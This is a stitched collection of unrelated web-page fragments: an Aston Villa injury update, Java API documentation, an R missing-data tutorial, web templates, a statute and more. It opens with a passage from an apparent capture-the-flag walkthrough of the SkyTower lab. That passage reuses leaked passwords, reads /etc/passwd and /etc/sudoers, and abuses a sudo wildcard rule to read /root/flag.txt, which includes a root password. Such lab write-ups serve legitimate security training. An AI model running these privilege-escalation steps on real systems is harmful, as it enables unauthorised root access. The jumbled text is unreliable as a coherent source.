| 3 |<EMAIL_ADDRESS>| senseable |
+----+---------------------+--------------+
3 rows in set (0.00 sec)
These user accounts correspond to users in /etc/passwd, so we'll see if the passwords in the database are the same as their user account (like john's was).
john@SkyTower:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
john:x:1000:1000:john,,,:/home/john:/bin/bash
sara:x:1001:1001:,,,:/home/sara:/bin/bash
william:x:1002:1002:,,,:/home/william:/bin/bash
Using su for each account, I was able to validate each user's password (which is the same as those stored in the database).
CORRECTION: william's local password is 'sensable' instead of 'senseable'. I must have mis-typed it when checking it, but I'm glad I did. Copying and pasting didn't work.
john@SkyTower:~$ su - sara
Password:
Funds have been withdrawn
john@SkyTower:~$ su - william
Password:
Funds have been withdrawn
I'll SSH to the server with each account using the same technique I used with john, fix their .bashrc file (using sed) and then SSH again to get a working bash shell.
The first thing I did after logging into each account was run 'sudo -l' to see if there was going to be any advantage to using one account vs another. Turns out, sara has access to some sudo commands that john and william don't.
sara@SkyTower:~$ sudo -l
Matching Defaults entries for sara on this host:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sara may run the following commands on this host:
(root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
Interestingly, the /accounts directory allows anyone to list its contents...
drwxr-xr-x 2 root root 4096 Jun 20 2014 accounts
And it's empty...
sara@SkyTower:/accounts$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Jun 20 2014 .
drwxr-xr-x 24 root root 4096 Jun 20 2014 ..
At first glance, these sudo commands seem to be useless... but not if you add additional parameters...
sara@SkyTower:~$ sudo /bin/cat /accounts/* /etc/sudoers
/bin/cat: /accounts/*: No such file or directory
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
sara ALL=NOPASSWD:/bin/cat /accounts/*, /bin/ls /accounts/*
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
As a regular user, I shouldn't be able to view the contents of /etc/sudoers...
-r--r----- 1 root root 707 Jun 20 2014 sudoers
But with the sudo command we have access to, I can. This means I can also list the contents the the /root directory...
sara@SkyTower:~$ sudo /bin/ls /accounts/* /root
/bin/ls: cannot access /accounts/*: No such file or directory
/root:
flag.txt
And cat the flag...
sara@SkyTower:~$ sudo /bin/cat /accounts/* /root/flag.txt
/bin/cat: /accounts/*: No such file or directory
Congratz, have a cold one to celebrate!
root password is theskytower
Pivoting
N/A
Clean Up
*** STOP /home/john/rev ***
*** REMOVE /home/john/rev ***
Additional Info


Framify
| New Password
Good to go
,
Please enter a new password for your account.
Reset Password
Back Home
Thank you for using Framify.


Rails-API
by
zachary welch
/
wannabe hokage
Users API in
1 minute
Inspiration
Models
Associations
Validations
Scopes!!!
Controllers
Nested resources
Views
Jbuilder
Specs
Shared Examples
Legacy Databases
Thanks!!!


Jack Grealish, Jota, Tom Heaton and more - Aston Villa injury latest ahead of Newcastle United
Aston Villa latest injury news | The current state of play in the Villa Park physio room ahead of the Premier League showdown with Newcastle United on Monday night
by Richard CusackAston Villa return to Premier League action - finally - when they welcome Newcastle United to Villa Park on Monday night (8pm).
It seems an eternity since Villa played their last game, a 2-1 loss to Wolverhampton Wanderers, but the international break has come at an ideal time for Dean Smith's side to get their crocked stars back fit.
Jack Grealish - who has missed the past three matches in all competitions because of a calf strain - is back on the grass at Bodymoor Heath and likewise Jota, who has recovered from a hernia operation.
Smith was hit with an injury crisis before and during the Molineux reverse last time out, first choice goalkeeper Tom Heaton, starting defender Bjorn Engels and Grealish missing out.
Jed Steer - who replaced Heaton in goal - picked up a calf injury of his own just seven minutes into the defeat to his side's West Midlands rivals while left-back Matt Targett came off in first half injury time because of a concussion.
Aston Villa latest
This is your round up of all things Villa; the one-stop shop that will keep you updated on the latest goings on at the club and beyond.
Transfers, injuries, match-days and managers, we’ve got you covered.
We’ll be bringing the very latest on the Villains throughout the week and around the clock.
Make sure you keep yourself updated with our handy daily catch up...
Must reads...
- Director reveals John McGinn's reaction to failed transfer
- Martin Keown fires puzzling criticism at Tyrone Mings
- What Jarrad Branthwaite has said about Villa interest
- Dean Smith urged to have a 'quiet word' with Frederic Guilbert
For all your latest AVFC news, opinion, analysis and transfer gossip, click here
You can follow our Villa reporter Ashley Preece on Twitter, and his email address is<EMAIL_ADDRESS>Here's all the latest Villa injury news..
Jack Grealish
Injury: Calf
Details: Was taken off in the closing stages against Manchester City with a knock to his calf. Was later seen leaving The Etihad on crutches. Missed games against Wolves in the Carabao Cup and Liverpool at Villa Park.
Viilla were hoping he would be fit for the visit to Wolves but he failed a late fitness test.
Last match: Saturday, October 26 - Man City 3 Villa 0, 84 minutes.
Expected return date: Newcastle (H), November 25.
What Villa have said: In an update on the club's official site, it was revealed that they hoped he would return to training at the back end of last week.
A picture posted by Frederic Guilbert on Friday showed the Villa skipper in training, raising hopes of his availability for the game with the Magpies - the club have since released pictures on their Twitter account of him on the Bodymoor Heath grass.
Reports in the national press have suggested he is on course to make his long awaited return when Villa meet Newcastle United on Monday Night Football.
Bjorn Engels
Injury: Hip
Details: The Belgian defender was a late omission from the travelling squad to Molineux. Engels picked up the injury in a training session.
Last match: Saturday, November 2 - Villa 1 - 2 Liverpool, 90 minutes.
Expected return date: Newcastle (H), November 25.
What Smith has said: "Bjorn came to see me yesterday (Saturday) morning so I always knew we were struggling with that."
Tom Heaton
Injury: Calf
Details: Similarly to Engels, Heaton was expected to play at Molineux on Sunday, but was withdrawn from the squad after suffering a calf injury.
Last match: Saturday, November 2 - Villa 1 - 2 Liverpool, 90 minutes.
Expected return date: Newcastle (H), November 25.
What Smith has said: "Tom Heaton's been struggling with a calf so I knew he was going to pull out of the game."
What Villa have said: Nyland, who finished the game at Molineux suggested that his colleague could be out for a matter of weeks, rather than days.
"It has been suggested that Heaton should be out for two to three weeks."
Jed Steer
Injury: Calf
Details: Steer started in goal due to Heaton's absence but only managed to play eight minutes before he was forced off. The goalkeeper hurt himself after attempting a save and Orjan Nyland was brought on. It was initially feared that he may have suffered an Achilles injury, although it is now understood to be a calf issue that could keep him out until the new year.
Last match: Sunday, November 10 - Wolves 2 - 1 Villa, 8 minutes.
Expected return date: TBC
What Smith has said: "In the game, you get Jed Steer going down after three minutes on his first Premier League start with an Achilles injury but, for me, it still doesn't affect your desire to go and win a header, a tackle, a second ball and just help your teammates out and I didn't think we did that first half.
"I'll wait for the prognosis on his Achilles injury."
What Villa have said: " Jed Steer was also forced off with a calf injury early on at Molineux. While the severity of the injury is still being assessed by the club’s medical staff, no timescale has been set for his return to training."
Matt Targett
Injury: Head
Details: Targett was also taken off hurt against Wolves. The left-back was withdrawn with blurred vision after taking a knock to the head.
Last match: Sunday, November 10 - Wolves 2 - 1 Villa, 48 minutes.
Expected return date: Newcastle (H), November 25.
What Villa have said: "Targett is set to return to training later this week after withdrawing from Sunday’s encounter at Wolverhampton Wanderers with a concussion.
"In line with the game’s return to play protocols in the aftermath of a head injury of this nature, the full-back will follow a monitored and graduated return to action."
Jota
Injury: Hernia
Details: Underwent surgery during the previous international break while uploading a photo from hospital following the successful op. Has recently posted a video of him sprinting with strength and conditioning coach Paddy Moore.
Similarly to Grealish, he was seen on a social media post participating in first team training.
Last match: Wednesday, September 25 - Brighton 1 Villa 3, 90 minutes.
Expected return date: After the international break.
What's been said: "Jota will be back joining training so we have got a lot of numbers coming back."
Keinan Davis
Injury: Hamstring
Details: Substituted after 50 minutes of his third start of the season.
Last match: Wednesday, October 30 - Villa 2-1 Wolves, 50 minutes.
Expected return date: Manchester United (A), December 1.
What Smith has said: "He's had a scan and he's got a hamstring injury. It's likely he'll be out for three to four weeks. The only good thing with that is that we've got an international period which can eat a few days into his injury. It's a blow because he's been doing well. He's been pushing Wes."


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object coins.driver.Trace
Trace controller.
A trace controller is initialized by trace options specified in a command
line and determines which trace message should be printed.
There are two types of trace messages: generic (category-free) trace
messages and categorized trace messages. A trace message may have a
message level which is an integer value. Trace messages without message
levels are called level-less trace messages and treated as level-zero.
A trace option is one of COINS options and should be given in the form:
-coins:trace=tracespec/tracespec /...where tracespecs can be level or category.level. When level is specified, generic trace messages whose level is below the level are shown. When category.level is specified, trace messages of category category whose level is below the level are shown. When more than one levels are specified, or more than one category.levels are specified for a same category, the latter one overwrites the formar one. A special category "default" is provided to specify a trace level of all trace categories (and category-less messages) except categories appeared in other tracespecs.
| Constructor Summary | |
Trace(java.io.PrintStream out,
java.lang.String traceArgument,
Warning warning)
Constructs a new trace controller, which prints trace messages specified to be printed by command line options. |
|
Trace(java.io.PrintStream out,
Warning warning)
Constructs a new default trace controller, which prints no trace messages to a specified PrintStream. |
|
Trace(Warning warning)
Constructs a new default trace controller, which prints no trace messages to System.out. |
| Method Summary | |
int |
getDefaultTraceLevel()
Returns the default category trace level, which is used to determine whether a trace message whose category is not appeared in trace specifications should be printed or not. |
int |
getGenericTraceLevel()
Returns the generic trace level, which is used to determine whether a generic (category free) trace message should be printed or not. |
int |
getTraceLevel(java.lang.String category)
Return a category-wise trace level of a category. |
int |
setDefaultTraceLevel(int newLevel)
Redefines the default trace level. |
int |
setGenericTraceLevel(int newLevel)
Redefines the generic trace level. |
int |
setTraceLevel(java.lang.String category,
int newLevel)
Redefines a category-wise trace level. |
boolean |
shouldTrace()
Tests if a generic level-less trace message should be printed or not. |
boolean |
shouldTrace(int level)
Tests if a generic trace message of a certain level should be printed or not. |
boolean |
shouldTrace(java.lang.String category)
Tests if a level-less trace message of a certain category should be printed or not. |
boolean |
shouldTrace(java.lang.String category,
int level)
Tests if a trace message of a certain category and level should be printed or not. |
void |
trace(int level,
java.lang.String message)
Prints a generic message of a certain message level when it should be printed. |
void |
trace(java.lang.String message)
Prints a generic level-less trace message when it should be printed. |
void |
trace(java.lang.String category,
int level,
java.lang.String message)
Prints a message of a certain message category and level when it should be printed. |
void |
trace(java.lang.String category,
java.lang.String message)
Prints a level-less message of a certain message category when it should be printed. |
| Methods inherited from class java.lang.Object |
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Constructor Detail |
public Trace(Warning warning)
warning
- warnings should go here.public Trace(java.io.PrintStream out, Warning warning)
out
- the trace output PrintStream.warning
- warnings should go here.public Trace(java.io.PrintStream out, java.lang.String traceArgument, Warning warning)
out
- the trace output PrintStream.traceArgument
- argument of the trace option.warning
- warnings should go here.| Method Detail |
public boolean shouldTrace()
public boolean shouldTrace(int level)
level
- the message levelpublic boolean shouldTrace(java.lang.String category)
public boolean shouldTrace(java.lang.String category, int level)
public void trace(java.lang.String message)
message
- the message.public void trace(int level, java.lang.String message)
level
- the message level.message
- the message.public void trace(java.lang.String category, java.lang.String message)
message
- the message.public void trace(java.lang.String category, int level, java.lang.String message)
level
- the message levelmessage
- the messagepublic int getGenericTraceLevel()
public int getDefaultTraceLevel()
public int getTraceLevel(java.lang.String category)
category
- the category.
public int setGenericTraceLevel(int newLevel)
newLevel
- a new value of the generic trace level.
public int setDefaultTraceLevel(int newLevel)
newLevel
- a new value of the default trace level.
public int setTraceLevel(java.lang.String category, int newLevel)
category
- a message category.newLevel
- a new value of the category-wise trace level.
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


-
Blink reminder Periodic reminder to take a full, proper blink.
-
Reminder interval: 15 minutes How often blink reminders occur.
-
Interval variability: +/- 10 minutes Increased variability makes the reminders less predictable. At +/- 0, reminders occur every X minutes as set above. Reminders never occur more often than once per minute.


Summer Holiday
Rapidiously conceptualize inexpensive value through functionalized markets. Enthusiastically integrate distinctive web services.


(navbar)
This needs to be left here
This needs to be left here
(greeting)
Comment id
Object id
Comment
Delete


Get your fresh hot links here:
{% for name, url in links %}
{{ name }}
{% endfor %}
Note:
Don't navigate away from this page until you have downloaded all of your purchased media.
Home


Subscriptions
Donate to the Software Underground and help us spread geoscience and computery goodness.
Monthly subscriptions
Purchasing a subscription helps the Software Underground achieve its goals of spreading excellence in subsurface computing. Swung’s expenses include its Slack subscription, its web hosting fees, and supporting local meetups. With your help, we can do even more.
Annual subscriptions
If you prefer, you can also pay for a subscription annually. This will make an annual donation. If you want to make a one-time donation, please visit the donations page.
Other options
If you prefer, you can make a one-time donation or you can buy merchandise in the store.
Finally, we are looking for Partner sponsors. Visit Subscriptions, or get in touch with us.


3
3Test for Equality of Covariance (MCAR)
3.0.1 MissMech::TestMCARNormality()
The main purpose of this package is to test whether the missing data mechanism, for an incompletely observed data set, is one of missing completely at random (MCAR).
As a by product, however, this package has the capabilities of : * imputing incomplete data * performing a test to determine whether data have a multivariate normal distribution * performing a test of equality of covariances for groups * obtaining normal-theory maximum likelihood estimates for mean and covariance when data are incomplete.
The test of MCAR follows the methodology proposed by Jamshidian and Jalal (2010). It is based on testing equality of covariances between groups having identical missing data patterns.
The data are imputed, using two options of normality and distribution free, and the test of equality of covariances between groups with identical missing data patterns is performed also with options of assuming normality (Hawkins test) or non-parametrically.
Users can optionally use their own method of data imputation as well.
Multiple imputation is an additional feature of the program that can be used as a diagnostic tool to help identify cases or variables that contribute to rejection of MCAR, when the MCAR test is rejected (See Jamshidian and Jalal, 2010 for details).
As explained in Jamshidian, Jalal, and Jansen (2014), this package can also be used for imputing missing data, test of multivariate normality, and test of equality of covariances between several groups when data are completely observed.
Jamshidian, M. and Bentler, P. M. (1999). “ML estimation of mean and covariance structures with missing data using complete data routines.” Journal of Educational and Behavioral Statistics, 24, 21-41.
Jamshidian, M. and Jalal, S. (2010). “Tests of homoscedasticity, normality, and missing at random for incomplete multivariate data,” Psychometrika, 75, 649-674.
Jamshidian, M. Jalal, S., and Jansen, C. (2014). “ MissMech: An R Package for Testing Homoscedasticity, Multivariate Normality, and Missing Completely at Random (MCAR),” Journal of Statistical Software, 56(6), 1-31.
%>%
colon_s ::select(age, sex.factor, nodes, extent.factor, perfor.factor,
dplyr%>%
mort_5yr, smoking_mcar, smoking_mar) ::mutate_all(as.numeric) %>% # categorical variables must be changed to numeric
dplyr::TestMCARNormality() MissMech
## Call:
## MissMech::TestMCARNormality(data = .)
##
## Number of Patterns: 6
##
## Total number of cases used in the analysis: 918
##
## Pattern(s) used:
## age sex.factor nodes extent.factor perfor.factor mort_5yr
## group.1 1 1 1 1 1 1
## group.2 1 1 1 1 1 1
## group.3 1 1 1 1 1 1
## group.4 1 1 NA 1 1 1
## group.5 1 1 1 1 1 NA
## group.6 1 1 1 1 1 1
## smoking_mcar smoking_mar Number of cases
## group.1 1 1 604
## group.2 1 NA 199
## group.3 NA 1 74
## group.4 1 1 11
## group.5 1 1 10
## group.6 NA NA 20
##
##
## Test of normality and Homoscedasticity:
## -------------------------------------------
##
## Hawkins Test:
##
## P-value for the Hawkins test of normality and homoscedasticity: 1.937163e-34
##
## Either the test of multivariate normality or homoscedasticity (or both) is rejected.
## Provided that normality can be assumed, the hypothesis of MCAR is
## rejected at 0.05 significance level.
##
## Non-Parametric Test:
##
## P-value for the non-parametric test of homoscedasticity: 1.789557e-08
##
## Hypothesis of MCAR is rejected at 0.05 significance level.
## The multivariate normality test is inconclusive.
Conclusion: This provides evidence that missing data on the variables included in this test are NOT missing completely at random MCAR by Hawkins test, \(p < .001\). Note, the non-parametric test is also able to reach this conclusion, \(p < .001\).
3.0.2 Little’s Test, revised ‘LittleMCAR’
“R-function for Little’s test for data missing completely at random” by Eric Stemmler (2020/08/14)
Little’s test basically compares the estimated means of each variable between the different missing patterns. These leads to either the decision to use simple random imputation or to model the missingness mechanism and use that model for imputation. The former is appropriate if one can be certain that the means are not different for different missingness patterns, i.e. a non-significant result of the Little’s test. For a more detailed explanation about the different types of missingness (see Gelman and Hill, 2006).
Little himself “… expect[s] the test to be sensitive to departures from the normality assumption, and even under normality the asymptotic null distribution seems unlikely to be reliable unless the sample size is large.” (Little 1988).
Gelman, Andrew, and Jennifer Hill. 2006. Data Analysis Using Regression and Multilevel/Hierarchical Models. Cambridge university press.
Little, Roderick JA. 1988. “A Test of Missing Completely at Random for Multivariate Data with Missing Values.” Journal of the American Statistical Association 83 (404). Taylor & Francis: 1198–1202.
Statistical inference based on incomplete data typically involves certain assumptions for the missing data mechanism. The validity of these assumptions requires formal evaluation before any further analysis.
For example, likelihood based inference is valid only if the missing data mechanism is ignorable (Rubin 1976), which usually relies on the missing at random assumption (MAR). MAR assumes that the missingness of the data may depend on the observed data, but is independent of the unobserved data. Therefore testing MAR is in general impossible since it requires unavailable information about the missing data.
Instead, the missing completely at random assumption (MCAR) assumes that the missingness of the data is independent of both the observed and unobserved data, which is stronger than MAR and possible to test using only the observed data.
When missing data mechanism depends on the unobserved data, data are missing not at random (MNAR). Although the likelihood inference only requires the MAR assumption, testing of MCAR is still of interest in real applications, since many simple missing data methods such as complete case analysis are valid only under MCAR (Chapter 3 of Little and Rubin 1987, also see the blood test example in Section 4). Also the maximum likelihood estimation for the multivariate normal model may be more sensitive to the distributional assumption when the data are not MCAR (Little 1988).
GitHub repository: https://github.com/rcst/little-test
::source_url("https://raw.githubusercontent.com/rcst/little-test/master/mcar.R") devtools
## SHA-1 hash of file is 294bccdf1f2f0f3c5589b0cbcbb428aab2dcd6d8
<- colon_s %>%
littletest_mcar ::select(age, sex.factor, nodes, extent.factor, perfor.factor, obstruct.factor,
dplyr%>%
mort_5yr, smoking_mcar, smoking_mar,) mcar()
## Iterations of EM:
## 1...2...3...4...5...6...7...
## this could take a while
$missing.patterns littletest_mcar
## [1] 14
$amount.missing littletest_mcar
## age sex.factor nodes extent.factor perfor.factor
## Number Missing 0 0 18.00000000 0 0
## Percent Missing 0 0 0.01937567 0 0
## obstruct.factor mort_5yr smoking_mcar smoking_mar
## Number Missing 21.00000000 14.00000000 98.0000000<PHONE_NUMBER>
## Percent Missing 0.02260495 0.01506997 0.1054898 0.2443488
$chi.square littletest_mcar
## [1] 171.9229
$df littletest_mcar
## [1] 95
$p.value littletest_mcar
## [1] 2.309862e-06
Conclusion: This provides evidence that missing data on the variables included in this test are NOT missing completely at random MCAR), \(\chi^2(95) = 172.92, p < .001\). Note, this test does not tell you WHICH variables are asociated.
3.1 Test Associations (MAR)
3.1.1 finalfit::missing_compare()
%>%
colon_s ::missing_compare(explanatory = c("age", "sex.factor", "nodes", "extent.factor", "perfor.factor",
finalfit"smoking_mcar", "smoking_mar"),
dependent = "mort_5yr")
## Missing data analysis: Mortality 5 year Not missing
## Age (years) Mean (SD) 59.8 (11.9)
## Sex Female 437 (98.2)
## Male 478 (98.8)
## nodes Mean (SD) 3.7 (3.6)
## Extent of spread Submucosa 20 (95.2)
## Muscle 103 (97.2)
## Serosa 750 (98.8)
## Adjacent structures 42 (97.7)
## Perforation No 888 (98.4)
## Yes 27 (100.0)
## smoking_mcar Non-smoker 636 (98.6)
## Smoker 183 (98.4)
## smoking_mar Non-smoker 565 (98.6)
## Smoker 125 (96.9)
## Missing p
## 53.9 (12.7) 0.066
## 8 (1.8) 0.669
## 6 (1.2)
## 2.9 (2.8) 0.441
## 1 (4.8) 0.325
## 3 (2.8)
## 9 (1.2)
## 1 (2.3)
## 14 (1.6) 1.000
## 0 (0.0)
## 9 (1.4) 1.000
## 3 (1.6)
## 8 (1.4) 0.330
## 4 (3.1)
Conclusion: There is no evidence that missingness in the five year mortality is associated with any of the variables: age, sex, extent of spread, perforation, and smoking (either varaible), \(p's > .066\).
%>%
colon_s ::missing_compare(explanatory = c("age", "sex.factor", "nodes", "extent.factor", "perfor.factor",
finalfit"mort_5yr", "smoking_mar"),
dependent = "smoking_mcar")
## Missing data analysis: smoking_mcar Not missing
## Age (years) Mean (SD) 59.7 (12.0)
## Sex Female 400 (89.9)
## Male 431 (89.0)
## nodes Mean (SD) 3.7 (3.6)
## Extent of spread Submucosa 19 (90.5)
## Muscle 92 (86.8)
## Serosa 682 (89.9)
## Adjacent structures 38 (88.4)
## Perforation No 806 (89.4)
## Yes 25 (92.6)
## Mortality 5 year Alive 456 (89.2)
## Died 363 (89.9)
## smoking_mar Non-smoker 510 (89.0)
## Smoker 115 (89.1)
## Missing p
## 60.1 (11.8) 0.768
## 45 (10.1) 0.758
## 53 (11.0)
## 3.6 (3.7) 0.920
## 2 (9.5) 0.801
## 14 (13.2)
## 77 (10.1)
## 5 (11.6)
## 96 (10.6) 0.825
## 2 (7.4)
## 55 (10.8) 0.847
## 41 (10.1)
## 63 (11.0) 1.000
## 14 (10.9)
Conclusion: There is no evidence that missingness in the smoking variable (MCAR version) is associated with any of the variables: age, sex, extent of spread, and perforation, \(p's > .758\).
%>%
colon_s ::missing_compare(explanatory = c("age", "sex.factor", "nodes", "extent.factor", "perfor.factor",
finalfit"mort_5yr", "smoking_mcar"),
dependent = "smoking_mar")
## Missing data analysis: smoking_mar Not missing Missing
## Age (years) Mean (SD) 59.8 (11.8) 59.7 (12.4)
## Sex Female 276 (62.0) 169 (38.0)
## Male 426 (88.0) 58 (12.0)
## nodes Mean (SD) 3.5 (3.2) 4.2 (4.6)
## Extent of spread Submucosa 16 (76.2) 5 (23.8)
## Muscle 76 (71.7) 30 (28.3)
## Serosa 577 (76.0) 182 (24.0)
## Adjacent structures 33 (76.7) 10 (23.3)
## Perforation No 684 (75.8) 218 (24.2)
## Yes 18 (66.7) 9 (33.3)
## Mortality 5 year Alive 390 (76.3) 121 (23.7)
## Died 300 (74.3) 104 (25.7)
## smoking_mcar Non-smoker 490 (76.0) 155 (24.0)
## Smoker 135 (72.6) 51 (27.4)
## p
## 0.897
## <0.001
##
## 0.007
## 0.806
##
##
##
## 0.387
##
## 0.521
##
## 0.397
##
Conclusion: There is evidence that missingness in the smoking variable (MAR version) is associated with sex, \(p < .001\). We can see there there is a much higher percent of missing values for females (38%) compared to males (12%).


JavaScript To;Do List
Interactive to do list | Powered by JavaScript
Hide List
My List of Things:
CHANGE LIST DESCRIPTION
Do homework
Wash dishes
Walk the dog
Buy cereal
ADD TO LIST
REMOVE LAST


PART VI. PEDDLERS
Note
Section 445-141 designated as Part VI by L 1990, c 164, §28.
§445-141 Licensing. Each council shall have the power to enact ordinances providing for the licensing and regulation of any person who peddles merchandise. [L 1907, c 96, pt of §1; am L 1917, c 122, §1; am L 1923, c 111, §1; RL 1925, §2077; RL 1935, §2498; am L 1935, c 182, §1; am L 1939, c 109, §1; RL 1945, §7102; am L 1953, c 230, §1; am L 1955, c 193, §1; RL 1955, §155-82; HRS §445-141; am L 1978, c 182, §2; am L 1990, c 164, §22]
Case Notes
License a tax, when. 36 H. 661 (1944).


Present Hours - {{info.info_present}}
Total Hours - {{info.info_total}}
Absent Hours - {{info.info_absent}}
Excuse Hours - {{info.info_excuse}}
{{status.content}}


This page allows you to transform constraints between the "January 2014" version and the "April 2014" version.


CoffeeCollider
version
Examples
usage
sequence
chord
noise
mouse
keyboard
Project
GitHub
Wiki
Issues
Tweet
Run
Stop
Clear
Link


If first term, number of terms and common difference is given
If first term,number of terms and last term is given
Insert n-Arthimetic Mean between two numbers
If number of terms and the AP is given
Sum of P terms of an AP if mth and nth terms are given
Ratio of mth and nth terms of an AP
Constant/Increasing/Decreasing AP
Three consecutive term (AP, GP OR HP)
2) Sum of N terms of a Geometric Progression
Sum of infinite terms of a Geometric Progression with common ratio less than
1
Insert n-Geometric Mean between two numbers
Sum of P terms of an GP if mth and nth terms are given
Constant/Increasing/Decreasing GP
3) Sum of N terms of a Harmonic Progression
Insert n-Harmonic Mean between two numbers
Harmonic Progression's
Nth term
A Harmonic Progression (HP) is defined as a sequence of real numbers which is determined by taking the reciprocals
of the arithmetic progression
that does not contain 0. In harmonic progression, any term in the sequence is considered as the
harmonic means of its two neighbours. For example, the sequence a, b, c, d, …is considered as an arithmetic
progression;
the harmonic progression can be written as 1/a, 1/b, 1/c, 1/d, …


Label name specified in the legend.
A number in the donut chart defining the area of each donut section.
Defines the color of each donut section.
Default color of the translucent overlay used to highlight on mouse hover.
Donut Charts are defined by the flot
directive. The dataset and options attribute define the donut chart data
and options respectively. Dataset and Options are defined within the DonutChartCtrl.
Defines the chart type and its layout. Values include 'lines', 'bar' and 'points', e.g. if data represents a donut chart, then the value is set to 'pie'.
Helps configure the grid options.
Chart layout parameters are explained below. These are defined in series
.
If set to true displays the chart.
Sets the radius of the donut hole. If value is between 0 and 1 (inclusive) then it will use that as a percentage of the radius, otherwise it will use the value as a direct pixel length.
Defines how a label should be shown in the center of the donut.
Defines how a label should be shown in the center of the donut beneath the center label.
Defines how a label should be shown beneath the donut.
Defined inside stroke object, pixel width of the border of each slice.
The following attributes should be defined within centerLabel
.
Whether or not the chart should show a center label.
Specifies the color to be used for the center label.
The text to display in the center label.
The name of the font family to be used by the label.
The desired font size of the label. The size may be reduced automatically to fit the label inside the donut.
Defines the horizontal padding required to center the position.
Defines the vertical padding required to center the position.
Canvas textBaseline property, defines the position of the label.
The following attributes should be defined within subLabel
.
Whether or not the chart should show a sub label.
Specifies the color to be used for the sub label.
The text to display in the sub label.
The name of the font family to be used by the label.
The desired font size of the label. The size may be reduced automatically to fit the label inside the donut.
Defines the horizontal padding required to center the position.
Defines the vertical padding required to center the position.
Canvas textBaseline property, defines the position of the label.
The following attributes should be defined within donutLabel
.
Whether or not the chart should show a donut label.
Specifies the color to be used for the donut label.
The text to display in the donut label.
The name of the font family to be used by the label.
The desired font size of the label. The size may be reduced automatically to fit the label inside the donut.
Grid options are explained below.
If set to true, it enables interactivity in the grid when the plot area is clicked.
If set to true, it enables interactivity in the grid when the plot area is hovered.
Note: Refer to the Flot Options page for details of chart options.
To convey chart information to users with assistive technologies, you can include a text version of the data. Use the sr-only
class to make the text hidden but visible to screen readers, and give the container a tabindex
attribute
so it can be reached with the keyboard, and place it near the chart.
Dynamic Chart Labels
If the text displayed in the chart labels needs to be changed dynamically, add the donut-labels
attribute to
the flot
directive and add the following to the controller. Now if any of the values in this object change
the labels will automatically update to reflect the new values.
Custom Legend Styling
If you wish to apply your own styling to the legend (e.g labels), this can be done by specifying properties in the legend
object, which is contained within the Chart Options. For example, labelFormatter
. This is a function that
allows you to format the labels as required. In the example below, any series that is very small (<2%) will have its
label in the legend updated. This is useful when a series is too small visually to be seen on the chart so that the user
understands why it is not visible.
Note: This component can be used in an Angular application by importing the HybridModule.


let's play a game
player 1 enter name
player 2 enter name
start
new game
roll
hold
player-1:
dice1 roll:
round total:
total score:
roll
hold
player-2:
dice1 roll:
round total:
total score:


{% comment %}
Include this at the end of all pages that might have comments on them.
This includes the proper page scripts for adding comments to the page.
If the page is not enabled for comments, nothing is put on the page.
The parameters:
thesite: the control structure for the site
thepage: the control structure for the page
{% endcomment %}
{% assign thesite = include.thesite %}
{% assign thepage = include.thepage %}
{% if thesite.comments and thepage.comments %}
{% assign pageabsurl = thepage.url | prepend:thesite.baseurl | prepend:thesite.url %}
{% if thesite.disqus != '' %}
{% endif %}
{% if thesite.isso != '' %}
{% endif %}
{% endif %}


The team is actively trying to keep this wiki up-to-date! That being said, this project is an on-going effort and is still a work in progress. If you want to help out or give us any tips, feel free to contact us!
ContactClick on the link above to see faculty
that are under-represented minorities, and the departments and research fields they work in.URMs, especially here at Yale, are most likely to experience Imposter Syndrome. Learn more and how to deal with imposterism on the link above.


Hi! Somobody requested a password reset for the account {{ mailbox }}.
Click on the following link to reset your password:
{{ reset_url }}
If you didn't request it, you can ignore this email.
Cheers!


AppsCode Product Pricing List
Name
Work Email
CC
Job title
Phone
Company name
Product
KubeDB Enterprise (Annual)
KubeDB Pay-As-You-Go (PAYG)
KubeDB Reseller
KubeDB Unlimited (Annual)
Stash Enterprise (Annual)
Stash Pay-As-You-Go (PAYG)
Stash Unlimited (Annual)
I agree to the
terms and conditions
Generate Quotation
Email Quotation


--- title: "Level 6" layout: default permalink: /6/ ---
Hurray! Now get your 🧹 broom to clean this order mess.
order


